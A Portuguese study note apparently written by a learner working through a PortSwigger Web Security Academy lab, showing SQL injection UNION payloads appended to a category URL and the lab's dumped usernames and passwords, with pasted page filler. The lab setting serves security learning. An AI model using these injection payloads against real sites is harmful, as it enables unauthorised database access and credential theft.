



NOTEPAD

# SQL INJECTION

[github/danielrodrigues-dv](https://github.com/danielrodrigues-dv)



# Resumo

## Introdução

O propósito deste documento consiste em registrar todo o processo de aprendizagem. O presente estudo está sendo conduzido em laboratórios controlados, e os recursos estão acessíveis através da plataforma <https://portswigger.net>.

## Objetivo

Descobrir o usuário e senha da página.

## Laboratório

- SQL INJECTION UNION ATTACK, RETRIEVING DATA FROM OTHER TABLES.

## Pré-requisitos

- Navegador.

# 1. ACESSANDO O LABORATÓRIO

Clique na opção "**Access the lab**":

The screenshot shows the PortSwigger Web Security Academy interface. At the top, there's a navigation bar with 'PortSwigger' logo, 'Log out', and 'MY ACCOUNT'. Below it, a secondary navigation bar lists 'Products', 'Solutions', 'Research', 'Academy', and 'Support'. The main content area shows the lab title 'Lab: SQL injection UNION attack, retrieving data from other tables' and a 'PRACTITIONER' badge. A description explains the lab's goal: to perform a SQL injection UNION attack to retrieve usernames and passwords from a 'users' table. A green 'Access the lab' button is prominently displayed. To the right, a 'Track your progress' sidebar shows learning materials (0%), vulnerability labs (2%), and level progress (5 of 52 for Apprentice, 0 of 151 for Practitioner, 0 of 36 for Expert). It also indicates the user's level is 'NEWBIE' and shows they need to solve 47 more labs to become an apprentice.

## 2. MANIPULANDO URL

**URL ORIGINAL:** <https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets>

Só colocar o '**UNION SELECT 'abc', 'abc' --**' no final do código.

**URL MODIFICADA:** <https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets> '**UNION SELECT 'abc', 'abc' --**'

<https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets> 'UNION SELECT 'abc', 'abc' --

WebSecurity  
Academy

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# 3.RESULTADO

Veja o resultado abaixo após inserir a url:

nave a rabbit. If the landlord makes an appearance, just slip the hood down and he/she need never know. The best bit is we all know babies love raw veggies, you can hand feed them and talk to them in that silly voice reserved for animals and children. You will never be refused entry to your favorite restaurants again, your fur baby will be at your side wherever you go. They conveniently poop in a diaper so no early morning walks either. Have the best of both worlds, and surprise your friends and family if you purchase from one of our Wild and Rare ranges. Join the trendsetters of Beverly Hills, show off on Instagram, but remember a fur baby is for life, and not just for Christmas.

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## Giant Grasshopper

If you are one of those anti-social people who like to sit in a corner and try not to catch anyone's eye, you probably know it doesn't always work. There will always be annoyingly cheery people who think you must be lonely and gatecrash your tranquility with mundane chit-chat. We breed our grasshoppers to an enormously threatening size, and train them to bite using the keyword, 'bite'. This is particularly useful when other pet owners aren't put off by its peculiarities and insist on chatting 'animal' with you. The grasshoppers are surprisingly easy to keep. They will keep your home free of bugs and vermin and need little else to eat. They are slightly jumpy about being taken out on a leash, but with practice, you will find a way to fall in step quite quickly. This particular breed has an exceptionally long lifespan and can be passed down through the generations. The grasshopper hasn't been cat, dog or child tested so we highly recommend not having any visit your home. Can be housed with other grasshoppers, an older quiet one could help to show it the ropes and understand the rules of the house.

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## More Than Just Birdsong

There was a time when the only decorations you would see on the wires of a wooden utility pole were socks and baseball boots; the odd colorful kite as well if you were lucky. We have come up with a more desirable way to liven up those ugly overhead wires. Our collection of musical notes are made from electro resistant materials ensuring they are perfectly safe even following a surge, or a lightning strike. What's more exciting though, is we will customize all our crotchets and quavers so you can create a real musical score. You choose the music and we will do the rest. The treble clef even has an inbuilt bird feeder to keep the birds whistling a happy tune throughout the stark winter days. Pleasing to the eye, as well as kind to the local wildlife, you can buy safe in the knowledge you are doing your own little bit for planet earth. Be the trendsetter you have always wanted to be, order your music without delay.



abc  
abc

Esse é o retorno



# OUTRO EXEMPLO

## 4.MANIPULANDO URL

Ainda no mesmo laboratório vamos agora descobrir o usuário e senha:

**URL ORIGINAL:** <https://0a6f00d704b4540ac2d8989100f300dc.web-security-academy.net/filter?category=Lifestyle>

Só colocar o **'UNION SELECT \* FROM USERS --** no final do código.

**URL MODIFICADA:** <https://0a6f00d704b4540ac2d8989100f300dc.web-security-academy.net/filter?category=Lifestyle> **'UNION SELECT \* FROM USERS --**

<https://0a6f00d704b4540ac2d8989100f300dc.web-security-academy.net/filter?category=Lifestyle>'UNION SELECT \* FROM USERS --



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# SHOP

Lifestyle'UNION SELECT \* FROM USERS --

Refine your search:

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### The Trapster

Struggling to lose weight? Tried every weird and wonderful diet under the sun? Look no further than The Trapster. Dieting stops here, today, right now. Any of those naughty, but nice, items you still have hiding in your cupboards and refrigerator can be placed on The Trapster's patented springy spring. Simply insert the spring into the food you don't wish to consume, and set the trap. Every time you try and retrieve the food items, the trap will be released and really, really hurt your fingers. The Trapster is especially efficient at warding off those sweet cravings if you catch your fingernail. Snap. Now, that really does hurt. After each attempt to take the food, reset the springy spring and start all over again. You will find you need to use different fingers each time you go for the treats, as your other fingers will be too painful to re-use. This is where our invention really comes into play. After ten attempts to eat those goodies, it will take a period of at least one week for your digits to recover. You should in that period of time have lost at least five pounds! Here's to a new slimmer you in two simple steps, don't delay, shed those pounds today.

administrator

n8bc3owjrpf484bar8zy

wiener

qk43hovaec2lunycro0x

carlos

jdkxhvfeltiuo6oh4dqs

The Splash

ELE RETORNA OS USUÁRIO E SENHA DA PÁGINA, OLHA QUE MASSA KKKKKKK